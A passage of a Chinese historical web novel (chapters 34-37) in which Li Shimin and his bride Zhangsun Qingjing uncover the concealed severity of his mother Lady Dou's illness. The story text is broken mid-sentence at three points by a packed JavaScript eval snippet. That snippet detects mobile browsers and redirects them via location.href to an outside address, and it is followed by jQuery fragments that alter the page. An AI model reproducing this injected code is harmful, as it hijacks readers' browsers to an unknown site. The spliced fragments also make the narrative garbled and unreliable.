“这里能见到南山吗?”青璟提着裙摆来到窗边,将窗户全部推开。 “能,就跟你在高府时一样。”李世民微笑着望着那个欢悦明艳的背影,“观音婢,我们认识多久了?” “五年?五个时辰?”长孙青璟回头,粲然一笑,像山尖清透的雪。 刘娘子引导新婚夫妇前往正堂拜见李渊与窦氏。 今日便算是新妇与舅姑正式相见,新妇第一次侍候舅姑用餐。 阿彩捧着漆盒,急趋着紧随众人。 一行来到正厅,长孙青璟拜过舅姑,献上袜履作为贽见之礼。 李渊夫妇深知长孙青璟刚罹家变,再叩问其家中情形未免不妥。 窦氏便简单聊起婚宴上自己离去后亲友是否礼待新娘,新房中器用是否称手,昨夜床榻衾枕可否寒凉,早起时侍婢有无怠慢诸多杂事。长孙青璟一一作答。 窦夫人打开漆盒,夸赞青璟女红精细。 唐国公夫妇二人礼节性地试了试新鞋,表示满意。 窦氏苍白的脸颊上泛着不太自然的红晕,有种烛火燃尽之前的炫目凄美。 长孙青璟不敢多看多猜,又奉上装满干枣、栗子、干肉的竹筐,以示早立、恭顺、擅厨艺。 窦氏招呼长孙青璟上前,执起新儿媳双手,嘴唇翕动,似有满腹心事要说与新妇听。 突然一阵咳喘自胸腔发端,一双无形的利爪掏曳着窦氏的五脏六腑,令她浑身因痉挛而颤栗不已,这利爪又将她拖入水中,让她有一种溺水的憋闷。 窦氏就这样挣扎着,喘息着,茫然地对抗着未知的一轮又一轮的无尽苦痛。 “阿娘!”长孙青璟对窦夫人的病症惊惧不已,绕到她身后,用空心手掌轻轻拍打窦夫人背部。 李世民也快步来到母亲身边,奉上饮子。 “大概是婚礼时累到了——不然这样,夫人先行休息,明日新妇庙见之后再拜见夫人即可。”李渊不无担心地建议道,吩咐婢女上前搀扶。 “我无妨,你带青璟与兄弟姊妹聚一聚。自洛阳回来后,你还未与我们详说紫薇城里的见闻呢。”窦氏喝一口饮子,宽慰新婚夫妇,示意李世民带着妻子熟识家中血亲。 长孙青璟陆续拜见唐公世子李建成与妻子独孤璀,唐公四子元吉,妾万氏所出五子智云,窦氏所出第三女李琼曦、第四女李陇月。 窦氏示意众人坐定,长孙青璟不必刻意侍奉舅姑,家人饮食依旧。 “昨天是个好日子呢,勋贵们事先约定一般为子女成家。大兴城里都在感慨昨日公主出降的隆重——宇文皛得偿所愿,成为驸马都尉。”李建成向众人笑道。 “大概是章仇太翼的预言太过灵验的缘故,今年新人的嘉礼不约而同地避开腊月,连皇家也不例外。”提到章仇太翼,众人神色不禁一凛。因他预言先皇将在仁寿宫驾崩,其后果不其然,皇亲国戚自此对他的每一个建议都言听计从。 四娘李陇月笑着解释:“你们两位新人还不谢过兄长——他特意推掉了驸马一家的宴请,为你们招待亲友。” “哪个宇文皛?”三娘李琼曦在新人向兄长敬酒的同时,心直口快地问道,“是外祖母家的那位秀美无双的远亲宇文皛?是被二郎打哭的那个宇文皛?” 长孙青璟吃了一惊,转头轻声问道:“原来你在洛阳紫微宫中过得精彩纷呈啊!居然连帝婿都敢教训!” “我以后与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“帝甥尚主,国家故事。凭着母亲的公主身份和不值一钱的姣好面容当上驸马,又有什么了不起。”李琼曦剥开一个核桃,不以为然地说道,“我们李家,高攀不起阿茶子,也不稀罕阿茶子。” 三娘忽然回想起昨日四娘所说萧皇后问起二弟生辰八字一事,不觉有些忿然——这皇室是准备如何作践八柱国家的后人,将品行不端的女儿硬塞进门以示荣宠吗?幸得父母虚与委蛇,设法推辞了皇后盛情。如今想来也是后怕。 窦氏与李渊相视一笑,回想起替儿子拒婚时李渊一番惧内的表演,窦氏不禁莞尔:“帝甥帝女声气翕合,非外臣可以妄议。” 长孙青璟在闺中也听说过帝女放荡、皇帝纵容、皇后不能制的言论,甚至有些合生段落暗讽宫闱秽事,香艳无比,令人面红心跳。 听得窦夫人明褒暗贬这一对新人,她猜测这些宫闱秘闻大概是皇亲国戚间公开的秘密。 她不禁感慨臭味相投的表兄妹从此过上貌合神离的日子,并不殃及他人,也算是皇家的功德。 李承宗、柴令武、长孙纫佩这表兄妹三人正在中庭与昨日随着接亲队伍一同送来的猞猁“库直”追逐玩耍。 独孤璀招呼三个孩童进厅堂用膳。 三人拜过长辈,满头大汗的两个男孩便向长孙青璟请求下次狩猎时借用猞猁;女孩则学着昨日新娘的样子袅袅而行,让家人猜测头顶的罗浮凤是真禽鸟还是新首饰。 窦氏强忍着胸口疼痛吩咐开饭。婢女们将黍臛、饆饠、酪浆陆续呈上。 长孙青璟为表示对公婆的尊重,将黍臛羹悉数喝完。她咬了几口饆饠,便停箸与三个刻意讨好自己的孩子闲谈。 李琼曦不便在新婚的长孙青璟面前提及弟弟差点成为帝婿候选人的凶险之事,只是向二弟夸赞青璟:“母亲的眼光当真不错,为你选的新妇天生丽质,仁孝温婉。你可不准刁难她。” 窦氏微笑赞同,似乎三娘的每句话都是母亲的心声。 黍臛入腹,一扫疲沓。李世民恢复了爱说笑的本性。 “我哪里敢欺负她,分明是她欺负我。她昨晚把我的腰掐得青一块紫一块的,现在还疼……”他想起昨晚自己装睡时长孙青璟不情不愿为他除去礼服时顺便泼辣地“教训”他的情形,顺口抱怨道。 等他发现自己话被旁观者品味出暧昧与歧义时,全家已经陷入了尴尬的死寂之中…… 35. 聚散 平地惊雷般的言辞惹来了父兄刻意的干咳,姊妹的惊异以及两个弟弟不怀好意的窃笑,一切都提醒着新人在亲眷之前的言行不可失当。 窦夫人无奈又窃喜的笑容流露到唇边,她望了一眼沉寂的众人,尤其是低头与长孙纫佩一起逗弄罗浮凤的长孙青璟,显然也会错了意。 但是窦夫人毕竟是持重的当家主母,少不得教训一下言谈不合时宜的儿子:“闺房之中的事情,不必嚷得举家皆知,未免显得浮浪无状……方才的言论,我就当是你一时糊涂,不再追究了……” “阿娘,我不是那个意思,不是你们想的那样——她——昨天……”李世民憋着一股气,想要解释,却在众人责备且理解的眼神中越描越黑。 他局促不安地点点长孙青璟的手背,咬牙低声恳求道:“不要装傻,帮我解释。” 长孙青璟早已被众人投射而来的怪异的、嗤笑的目光羞地垂下了眼帘,有种当众赤裸的羞耻感。 她乜了口无遮拦的李世民一下,眼角带刀,随即又入定般纹丝不动,装傻充楞,期待着有人开启另一个话题。 三娘李琼曦初时张着嘴,半天合不拢。此时再也忍不住,与四娘李陇月窃窃私语起来。李陇月克制着听李琼曦低语,淡然一笑,觉得过分处便以纨扇轻敲三娘的堕马髻。 “明日庙见之礼,可准备停当?”一家之主李渊问道。 独孤璀躬身答道:“禀父亲,我与两位妹妹已查看、布置、扫洒家庙,只待新妇入见。明日由我亲自导引长孙娘子见过诸位祖宗,万事周全,不会有误。只待庙见之后正式完婚,长孙娘子临厨为舅姑洗手做羹汤……” “既如此,我与你们的母亲也无甚忧虑。今日拜舅姑,就是家人们简单聚一下。我与你们母亲也先行离开,你们也可活泛些,聊些年轻人的话题。”话音刚落,婢女便搀扶起窦氏。儿孙辈们目送李渊夫妇离席。 李世民与长孙青璟总算松了一口气,无人再会抓住口误不放。 谁料李承宗突然不识趣地问道:“叔父,那你今日腰伤可好些了?” 柴令武紧随其后追问道:“舅父,你的腰伤不妨碍你带我们射马罢?” 李世民以手肘撑着食案,托腮望天,不敢正面回答,更不敢斥责这两个顽童。 “承宗,令武,你们两个孺子挑三拣四,看不起谁呢?”一直沉默不语的李元吉突然挑衅似的说道,“说得好像你们二叔二舅的腰有个闪失,家中连个会骑马的人都没有了。” 他摇头晃脑地暗示着两个男孩好好恳求自己,虽说这位所谓的长辈也不比侄子与外甥年长多少,惹出的祸事经常惊人咂舌,但是依然以长辈自居,不甘居于人下。 “我也陪你们去骑马,四叔与五叔,四舅与五舅一起去——啊——我知道你们两个心中我与四哥排不上第一,但我们两个半吊子总能勉为其难凑出一个像你们二叔二舅一般弓马娴熟的儿郎。”李智云因是妾万氏所出,年纪最幼,平日在国公夫人窦氏子女面前一贯进退有据,说话也和气有理,不像李元吉一般总喜爱与诸兄长一争高下。故而与元吉相比,窦氏反而更喜爱这个庶子一些。 “二弟没别的毛病,就是最近桑葚吃多了。”李琼曦的暗示令孩子们更加疑惑,却不敢再发问。 一阵传染性的大笑在唐国公夫妇不在场时冲破了冬日凝滞的空气。 “两只斑鸠,自己罚酒。”李琼曦趁乱开玩笑。 长孙青璟深刻地体会到“两只被人围观的獠”的深意,头埋得更低,只希望这阵子尴尬早日过去。 李世民一时不知道该先嘲讽一下四弟引以为傲骑射技艺还是对三姊无聊的玩笑反唇相讥。 他不甘示弱,微挪膝盖,准备反戈一击,最后还是长孙青璟拽住了他的蹀躞带令他冷静下来。 罢了,被当成一对吃多了桑葚的傻斑鸠总比被认为轻浮无状之人好多了。 用餐之后,独孤璀便带着三个精力无限的孩子去中庭走动消食,三人欢呼着扔下喝了半碗的黍臛、咬了数口的饆饠,吵吵嚷嚷,离开正堂。 长孙青璟借机跟了出去。三娘四娘两位同胞姊妹自婚礼筹备开始一直没时间说体己话,正好有大嫂照看子女,便借归省机会小酌畅谈。 李建成叫上李世民去前厅与父亲汇合,拜会大兴故旧。 兄姊们又吩咐乳母陈善意对四郎五郎严加管束。 一番口舌之后,众人便四散离开。 三个孩子用了一上午时间把猞猁追得精疲力竭,任他们再挑逗激怒自己,这畜牲也懒怠得岿然不动,只是兀自蜷缩在草树之间晒着冬日暖阳。 三个顽童便干脆将猞猁当成靠垫,与其斜倚在一处,暂且相安无事。 因害怕猞猁兽性大发扑食罗浮凤,婢女便将这精巧不似人间所有的禽鸟从长孙纫佩的发鬟上取下,重新置于金色鸟笼中,亦步亦趋侍奉在小娘子身后。 独孤璀选了一处居高临下的假山石,招呼长孙青璟一同坐下。说起家中掌故和两家亲眷复杂的血缘姻亲关系。 长孙青璟也听得津津有味。一想到长孙纫佩这孩子由叫自己阿姊改口为舅母,平日里与李世民一道飞鹰走狗李大志大慧兄弟需改口管昔日好友为姨夫……她不禁哑然失笑。 独孤璀拉起长孙青璟的手,大有亲近之意。 “有句话不知当讲不当讲,福兮祸之所依,祸兮福之所倚。你的那些经历,我听说了大概。心头也震颤了许久。而我观你言行举止,全不似历劫之人。这种坚韧洒脱的个性,正是母亲所喜爱的。你与二郎有缘,全家均觉得你们天造地设,我也替你们高兴。” 长孙青璟也听懂了大概,想到李家上下从未为难自己,更多时候颇为照顾自己小小的自尊心,此时又有长嫂独孤璀安慰自己这场婚姻并非年轻郎君一意孤行之下造成的长辈的妥协,而是得到了长辈的应允与祝福,她心中便更加安稳。 当然独孤璀的话夹杂着窦夫人的授意,并非全是自己本义。如若让她来评价,少不得夸赞少女处变不惊,少年义薄云天。两个孩子有着超越年龄的成熟决断,有着恰到好处的莽撞感性,初看飞扬跳脱,细品内敛稳重。这简直是她年少时在传奇里看过的最美好的故事。 独孤璀与李建成姻缘是最寻常不过的联姻,双方早早定下婚约,亲上加亲,父母满意,祖母独孤氏满意,文献皇后独孤氏满意,就连表兄妹双方也甚是满意。两人无惊无险、波澜不惊地成为夫妻。 所以,当她听闻长孙青璟那些多舛的经历、离经叛道的行为时,不禁大惊失色,觉得这个暴戾乖张的少女并不好相与;但是听闻她幼时处变不惊,助母亲脱险,舅氏危难之际宁愿与落魄的舅父同去岭南也不愿依附叔父,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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独孤璀显然不是非常擅于撒谎与掩饰的高门贵女,她有些慌乱地拢了拢鬓发,低头沉吟片刻,才终于拼凑出一个自圆其说的答案:“母亲说,两姓之好,既是命中注定,也是机缘凑巧,你与二郎两者兼美,天造地设,吉期乃是上天决定,祖宗嘱托,不可随意更改。母亲的病并无大碍,熬过腊月,自会痊愈,往年也是如此,弟妹休要杞人忧天!今日便如往常在家中一般,不必拘束,明日庙见之后,我便又多一帮手,心中也是欢喜得很。” 她又暗觉有些不妥,便自嘲道,“看我这人,说话就是容易失言。三娘雷厉风行,四娘谨小慎微,在闺阁时都是我的助力,可不敢凭空抹杀这两位小姑的持家功劳。但我身为长嫂,总不能一辈子盼着三娘归省不回夫家,四娘不另觅良人——” 说道此处,长孙青璟同独孤璀心照不宣地微笑起来。 “母亲可是指望你我共同持家,门户昌吉呢。我呢,可以全年仰仗的就只有你这位妯娌了。”独孤璀拍打着新弟媳的肩头,慨叹道。 两人正半真半假谈笑间,李道宗、柴令武两个孩子向假山这边跑来,与长孙青璟商议借猞猁出行一事。 长孙青璟正微笑应允时,独孤璀突然代弟媳拒绝道:“不可,猞猁是你们婶母舅母的嫁妆,是她的兄长疼爱妹妹特意送来相伴的宠物,怎可随意借给你们去狐朋狗友面前炫耀。此事到此为止,不可再行纠缠!” 两个男孩悻悻地望着独孤璀,觉得她虽然说得在理,但此猞猁实在太过威风与通达人情,便将头凑在一处商量对策。 或许这猞猁能帮助自己从孩童口中套出点关于窦氏病情的真相呢? 那就试试。 36. 蛛网 通往假山高处的小径上传来几声细碎凌乱的脚步,慌张的婢女不慎将间色裙摆挂在了一丛枯竹旁生的小枝上,十分狼狈。 小婢女一时进退维谷,连声喊道:“娘子,娘子,独孤娘子……” “不要慌张,靠近说话。”独孤璀有一种未卜先知的焦躁,换上了一副与青璟闲谈时截然不同的脸孔。 这种发自内心而不是虚张声势的烦躁将小婢女吓得一时噤了声。 小婢女匆匆将裙摆从竹枝上扯下,顾不得裙摆撕开了手掌大的口子,提着裙子匆匆来到独孤璀身边。 她向两位娘子请过安后,局促不安地望了望长孙青璟,权衡利弊之后,便退下几步,俯身在独孤璀耳边说起了似乎很急切的、当下就要去解决的事情。 独孤璀点点头道:“你先去山下等我,我随后就跟你前往。”说罢又谨慎地扫视了婢女以示“兹事体大,不可妄言”。 婢女依言先行。长孙青璟听到细碎的“延医”“抓方”之言,不便明问,只是尝试问道:“大嫂若有用得着我的地方,我便随大嫂前去——平日我在娘家也是闲不住的性子。” “不必,是准备明日庙见礼的物品有些瑕疵,都是奴婢们办事不尽心——罚他们一下就长记性了。你还未成礼,不方便过问这些事情。现在我亲自去查问,无甚大事,你与娘家的婢女乳母尽可随意游逛,我去去就回——一切准备停当后,你、我叫上三娘四娘一同下双陆棋,我们三个可都是运气和技艺极佳的高手……” 独孤璀一边敛衽起行一边继续说笑着,“只不过今日,可没人替你饮罚酒。” 话音刚落,独孤璀便追随婢女而去。下坡时身体突然颠簸了一下,不受控制地前倾了数步才停住,所幸没有摔倒。婢女心有余悸地扶好了独孤娘子,忍不住回头又望了一眼长孙青璟,有种欲言又止的憋屈。 大嫂在撒谎! 长孙青璟确认自己并未胡乱猜测。 但是独孤璀以她一个新妇不便插手的庙见礼细节敷衍她,她这个未成礼的新妇便不可越俎代庖追随前去。 她心中烦闷之际,突然转头瞥见窃窃私语的两个男孩和枕着猞猁抱着鸟笼的女孩。 长孙青璟突然心生一计,趁着无人陪伴时,像个村姑般几步跃下小径,向几个孩子招招手。 “你们几个,可还要借用我的猞猁与罗浮凤?”她逗弄着三人。 三个孩子经不住巨大的诱惑围拢在长孙青璟身侧,蹦蹦跳跳,极尽“谄媚”之能事。 “当然想借了,库直可威风呢!——可惜我一开口,就被我阿娘好一顿教训。”李承宗嘟着嘴,畅想着携猞猁出游的风光无限,埋怨着母亲的不通情理,时不时偷看一眼长孙青璟。 “我听阿彩说,猞猁既能追逐猎物又能保护主人,我也想求我母亲养一头。当然舅母这一头猞猁能出借的话,我也心满意足了。”柴令武变着法子夸赞猞猁,其义不言自明。 长孙纫佩一言不发,只是怯生生地抱着鸟笼,欲言又止。 长孙青璟笑着将这个侄女兼甥女抱进怀里,嘱咐一直紧跟着三个孩子的侍女去屋中找几件氅衣。 她故作神秘地招呼三人再靠近一点,四人几乎前额相抵。 长孙青璟偷偷与小郎君们约定:“两位小郎君出猎之日尽管借用库直,我们相约不告诉独孤娘子,谁走漏消息就罚谁,让他以后出猎时在家读书习字。是否可行?” “可行!”两个男孩雀跃起来,难掩喜色。 “既然可行,那我也有事相求二位郎君。二位郎君可愿意相助?”长孙青璟微笑道,她刻意说“郎君”而非“小郎君”以示对两个男孩的重视和信任,令他们有种平辈之间意气相投的感觉。仿佛她是与李承宗、柴令武相识多年的老友,两个男孩不由因感奋而愿意为长孙青璟效劳。 “婶母但说无妨。”李承宗干脆利落地答道。 长孙青璟歪侧着脑袋说道:“近日家中诸事繁杂,你们的父母亲体恤我初嫁,不拿家事叨扰,我很感激。不过我今日既然已经吃了黍臛,便也想替你们父母亲分忧。二位郎君可否告诉我,家中近日除了婚事,还有何事繁忙?祖母、外祖母身体是否无恙?” 两个男孩受人重托,开始认真思索起来。 “母亲说,祖母今年气疾比往年更难捱……”李承宗认真地回想,“我初时不觉得,但我回长安这几日几乎每天都有不同的医官进出国公府。” “我听说,我母亲连同另外四位姨母均在不同寺庙为外祖母造像祈福。”柴令武做了个双手合十的动作,认真地求得长孙青璟的认同,“舅母,我母亲和姨母们共造了五座佛像,不可谓不虔诚,神佛一定会保佑外祖母痊愈的,是吧?” 孩子们一时伤感起来,在他们的认知中,造像总是和一些不吉利的事情关联着。 “父亲说,我们家上一次造像还是二叔九岁时,他一年里染上两次疫病,奄奄一息……”李承宗的话惹得另外两个孩子倒抽一口冷气,长孙纫佩的一双杏眼中甚至蓄满了泪水,误以为今早还与自己谈笑的舅父快要死去了。 长孙青璟也后怕似的颤抖了一下。“那后来呢?”她明知道丈夫有惊无险,却还是忍不住问道。 “母亲说,上天还是不忍心带叔父走,有佛护佑,这病就突然转好了。”李承宗突然似懂非懂地问道,“婶母,那我祖母有五座造像,比叔父当年还多三座,她应该也会转危为安吧?” “会的,一定会的!”长孙青璟无意再追问细节,只是把三个孩子聚在一处安抚着,“今日我就问到此处,猞猁归你们了。你们无需胡思乱想,祖母一定无甚大碍。你们度过腊月,看过大傩,准备过元正节就是了。去,把大氅穿好,不要受风寒!” 长孙青璟指着匆匆跑来为小郎君与小娘子们添衣的婢女说道。 她不再询问窦氏病情,以免在李家的婢女面前呈现还未成礼便多管闲事的形象。 长孙纫佩捧着鸟笼,有些担心地贴近长孙青璟:“阿姊——嗯——舅母,你还没问我呢?” 她害怕自己什么都做不了,就被收回了罗浮凤的使用权。 长孙青璟笑着捏了捏她藕粉色 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长孙青璟方才刚听得独孤璀讲述三娘与二郎姐弟间趣事。说是三娘未出阁前,常假扮男子带着二郎出游,逼着二郎称呼自己兄长,否则便不带其出行。 三娘出阁之日,其余亲眷下婿之时均是将竹杖高高扬起,点到为止,偏二郎不知是故意的还是无心的,将新郎柴绍打出了一点不轻不重的皮肉伤,从而成为柴、李两家的笑谈。 可见姐弟二人一脉同气。对于四娘的调侃,长孙青璟自然一笑置之。 三人正在点筹之时,行障外婢女犹犹豫豫这不敢近前,李陇月起身,二人在行障处低语了数句。 四娘回到案前道:“我以为是什么要紧的大事,谁料又是纫佩不让人省心,说是跟表哥们口角气哭了,大吵大闹,两个表哥低头赔罪都不好使。我这就去哄哄她——三娘你陪着妹妹多聊一会儿。你不准再灌她酒,她明日还有庙见这一桩要事。” “你放心,我们接着玩投壶。青璟肯定不输我——你也不想想她父亲的射术何等了得?谁赢了灌死谁还说不定呢?四娘,你怎么老觉得我会欺负她?——还有,记得替我扇令武这小子两巴掌,告诉他下次再敢惹事欺负妹妹,他阿娘将他倒挂在房梁上抽耳刮子!” “你这当娘的,说话也真是不成体统!”四娘揶揄着离去。急促的脚步却与解决孩童间纠纷的意图殊为不符。 长孙青璟与李陇月热络又疏离地度过了半日,热络是因为长孙青璟确实是李陇月最亲近的弟弟的妻子,爱屋及乌,便对这个纤弱倔强的娘子多了几分好感。 两人聊社交、聊骑射、聊饮食,聊服饰,无所不包;疏离是因为两人都小心翼翼地回避着一些会引来对方伤感忧虑的话题,比如高夫人为继子所逐,比如高士廉贬官朱鸢,比如李渊常年被皇帝猜忌起用,周而复始,如履薄冰的经历。 比如窦夫人那哑谜一样在无甚大碍与造像祈福之间游走的病症。 一张谎言编织的巨大的温柔的蛛网在长孙青璟的头顶徐徐展开。 37. 真相 落日衔半规,巨大的日轮在金黄暗红的急流中燃烧着,鹦鹉绿鸦背青的远山托举着千丈不见尽头的猩红彤云。 云霞日采,烘蒸郁衬。 倏忽间,暮色沉淀下来,上层的空气是清透的葡萄紫,下层的暮霭渐染了山石的黢黑,如砂石般落在群山与苍穹之间。 山间最后一抹赭石色浮动多时,终于被西沉的金轮一同拽向山的另一边。 暮纱侵袭,雾霭沉沉。 长孙青璟便阖上户牖,点燃灯檠,仔细检视自己的数箱嫁妆——金饼、绸缎、成衣、首饰、香料、茶具、书册一一叠放整齐。 她与阿彩一道挑出几样常用的置于案上柜中,其余封存如常。 她正打开一册庾信的文集,李世民与刘娘子的细碎闲谈却零星地落入耳中。 “阿嬭,今日我父亲身边的随行侍从是何人?脸好陌生。我不记得部曲里有此人。” “我一个内宅的乳母,哪里知道郎君们的交际和安排?你何不亲自问国公?” “我倒是问了,父亲只是含糊其辞,我追问了几句,父亲便很不乐意地说那是本家的一位远亲,多年不见,近来才有往来,叫我不必多问。”李世民带着满腹郁闷与不满抱怨着。 “那二郎就不要劳动这些无关紧要的心思,听郎君和娘子的话,明日安心带着长孙娘子告庙成礼——这才是家中最紧要的事情。”刘娘子罔顾左右而言他。虽然不能说刘娘子说得有错,却总令人有一种敷衍塞责、刻意隐瞒的意味。 长孙青璟摇了摇头,她的满腹狐疑要不就是她胡思乱想过了头,要不就是自己血脉中属于父亲的那一部分灵敏的直觉被点醒了。 这家中的每一人似乎合起伙来欺瞒她与李世民,导致她不用看表情就可以从刘娘子的语气中听出掩饰与不安。 “阿嬭来了!”长孙青璟热忱地打着招呼。 “郎君好在!刘娘子好在!”阿彩掀开帘帷,向郎君请安,转而向刘娘子请教家中常用鞋服纹样颜色,有何种禁忌,一老一小便隐去廊下细谈。 如果胡思乱想是一种疫病,那么长孙青璟一时也弄不清到底是李世民传染给她的还是反过来。 两个人都心绪不佳。他们都绝口不提日间那个令人难堪又尴尬的口误。 与眼下这种被蒙蔽的处境相比,那实在微不足道。 有一片难以言说的阴云笼罩在这场仓促的婚礼上方,挥之不去。 长孙青璟翻了一会儿书,却丝毫融不进庾开府的家国之痛中。她好奇地问道:“你给父亲母亲问过安了吗?我初时想去,但是大嫂与两位阿姊都劝我说庙见未成礼,唯恐不便。我不敢造次,所以特意问你。” “我也正觉得奇怪。”李世民颓然坐在镜台一边,与婚礼上意气风发的少年判若两人。“我母亲其实是个风趣健谈的人,这几日全不似她平日的模样。今日黄昏前去问安,我与她说了几桩昨日亲迎趣事——本以为她会听得饶有兴致,谁料才说到你让阿彩拿琵琶刁难我,母亲就说今日乏了,改日再讲——她从不曾对我这般没有耐性,哪怕是往年气疾发作时,也喜欢儿女相伴。现在动不动就撵我走,每次问及病情,总是说‘与往年无甚区别’‘你少啰唣几句我就安康’,简直令我疑窦丛生。” “既如此,我也有话告诉你。”长孙青璟就原原本本地将独孤璀说家常时一去不归,五位阿姊分别为母亲造像祈福,李承宗亲见不同的医生出入府邸,四姊借口为了几个幼童的口角离去半日等种种古怪情状告诉丈夫。 李世民揉着额角,幞头松散歪斜,心中似有难言之隐。踌躇了半日,终于向妻子摊牌:“看来母亲的病不似往常那般简单,我身为人子,却未能体察,实在惭愧。幸得你这般机敏,为我寻得真相。” 他思忖半日,突然跽坐正色道:“观音婢,你可愿与我同心!” “这是自然!”长孙青璟问道,“我既然费尽心机打听母亲病情,自然不是置身事外之人。你有话尽管道来。你有何打算?” “无论如何,我今夜将去一探究竟。我想着母亲推三阻四,不令我陪侍左右,终是将病情瞒着我。若不能晨昏定省,侍疾于膝下,于情于理有愧于心。我不能再愚孝下去,今夜定要探个究竟,也顾不得母亲有何顾虑了。” “好,我与你同去!” 李世民吃惊道:“你不在意被人说闲话吗?比如未成礼的新妇半夜惊扰舅姑,不成体统之类的……大嫂,阿姊难道没有反复暗示叮嘱你庙见之前勿生事端?” “我不在意啊,外间关于我的传言不少,譬如疯癫,譬如乖戾……我又堵不住旁人的嘴,但求所为问心无愧罢了。” 李世民轻轻捏了捏长孙青璟的手,随即谨慎地松开,脸上交织着快慰与担忧。 初更四刻时,两人如约定般起身。 长孙青璟诓骗婢女说看见猞猁在廊前跃过,怕是离开了兽圈,便叫上李世民一同找寻。 两人从西院一路跑到正寝,竟是畅通无阻。 正寝处婢女见到二郎与长孙娘子,便借口夫人已安睡,劝二人回房。 可巧今日正寝处灯火通明,全然不似已经安睡的样子。 “你这婢子,真是连撒谎都不会。”长孙青璟讥嘲道。 两人一通躲闪腾挪,便甩开守门的婢女径直闯入正寝处。 “你们来做什么?”李建成诧异地望着这对不该出现在此处的新婚夫妇。 “初更过半,你们都聚在母亲屋中,又是为何?”李世民指着慌乱的兄长,满面戚容的三姊四姊,忧心忡忡的大嫂,惶惑地问道。 “我们相约来给父母亲请安,聊得开心,就多坐了片刻。现在大家也都乏了,各自回房,明日等新妇庙见结束再行相聚。”李建成振振有词,与两位妹妹一同堵在弟弟身前,显然准备代父母逐客。 “你当我三岁孺子吗?” 眼看兄弟之间剑拔弩张,长孙青璟嘴上连声说着“得罪”,手上却使劲将李琼曦、李陇月二人生拉硬拽,为李世民辟出一条道来。 三位娘子一同趔趄摔地,婢女们惊叫,独孤璀捂脸退后,寝室中乱作一团,不明是由之人还误以为新妇进门第二天便撒泼闹事。 “妹妹,你这膂力是天天攀援南山小道练就的吗?”李琼曦揉着被攥疼的臂膀,无可奈何地说道。 李建成握拳向奴婢们怒喝道:“这是谁走漏的风声?又是谁出的主意?谁放二郎与长孙娘子过来的!” 长孙青璟狼狈地爬起来,步摇晃动了数下。 她头晕目眩,还是抓住身边一柱灯檠正坐,随即向行障内叩拜:“是我怂恿他的!惊扰母亲,是我的罪过。” “不干她事,全是我自己主张。她不过是担心我才一路跟来。”李世民进退维谷,索性贴着行障的边缘跪下,“母亲为何执意骗我!” 寝室中、行障内外一时阒然无声,也无人敢在父母下令之前将这惹祸的二人驱离。 行障内只剩李渊、窦夫人、医官三人。 请脉结束,众人不敢贸然发声。 “药饵已经全不起效,不如试试驱鬼?坊间说敕勒之术有些用处。”医生的话交织着无力与侥幸。不到万不得已,医生怎么会让病人驱鬼。 “好,某去准备。”唐国公李渊一口应承下来。 “我生平未作恶,有何鬼可驱?”帘内的声音虚弱,却迸发着偏执的力量。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041816|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你先养病,我与毗沙门送送医生。”当然,唐国公与世子应该另有一些话不便当着国夫人的面提及,以免刺激到夫人及年幼子女。 “一切如你所想,一切如你所见。”窦夫人缓慢地、深重地呼吸着,以缓解突如其来的、毫无规律可循的剧烈咳嗽。她那青色琉璃一般的眼珠比起健康时更加突出,在烛光摇曳间变幻着各种颜色,像一潭深不可测的水,使她显得冷静而又疏离。 “儿子惊扰母亲,儿子知错了。”李世民就在那行障内外尴尬的交界点跪叩请罪。 “知道实情又如何,不知道又如何。还不是改不了命数,徒增烦扰。我知道你们心意,但不喜欢你们如此莽撞行事。唉,一切终究是天意,何况还累及青璟落下恶名,殊为不妥。放心,我哪里舍得抛下你们!我今夜死不了。——毗提诃,你独自一人进来。”李世民依言膝行至窦夫人榻边。 长孙青璟依旧跪坐。 依照礼法,她并未成为正式的家庭成员。处于行障之外不入内室是相互的体面。而窦夫人强撑至今,皆因希望自己在世之时看到新妇履行所有婚礼流程,不令他人说三道四。既是出于拳拳爱子之心,又是对一个落魄孤女最大的尊重。 行障内窸窸窣窣,似乎是窦夫人在苦苦寻找一个舒服的坐姿。紧接着是一串喁喁私语。最后,她听到了数声抽噎。 李琼曦意欲闯入行障内看个究竟,独孤璀强拉住她令其寸步难行。“罢了,既然瞒不住,就让母亲和二弟说说心里话。他们二人终究是要得知真相的……” 李陇月也从刚才的晕眩状态中清醒过来,见到长孙青璟长跪不起,便坐在她身边劝慰道:“弟妹,一切都过去了,无需自责,快起来吧。” 长孙青璟摇头,执意长跪等待窦夫人宽宥。众人无计可施,只得由着她请罪。 良久,行障内灯盏皆熄,室中陡然一暗。李世民满脸泪痕,头发凌乱,两腿如踏空般摔了出来。李琼曦慌张地扶住了他。 “我腿有点麻木僵硬。”他无力地辩解着,“母亲休息了。” 众人也只是茫然地点头,不知如何宽慰,更不知如何应对眼下情形。 “青璟——”李世民毫不在意翻领的褶皱,只是抹擦了红肿的眼眶,然后扶起妻子,“我们都听母亲的,明日庙见,一切如常。” 一日之间,独孤璀、李琼曦、李陇月便眼睁睁看着一对佳偶从幸福的云端跌落到幽暗不见天日的谷底。 三人不约而同想到的是:如果自己是窦夫人,大概也会用善意的谎言换取苦尽甘来的爱侣哪怕多一日的欢悦! 直到踏入房间前的那一刻,李世民与长孙青璟都一言不发。他们难以承受上天给了巨大的欢愉之后又将他们投入炼狱的折磨之中。 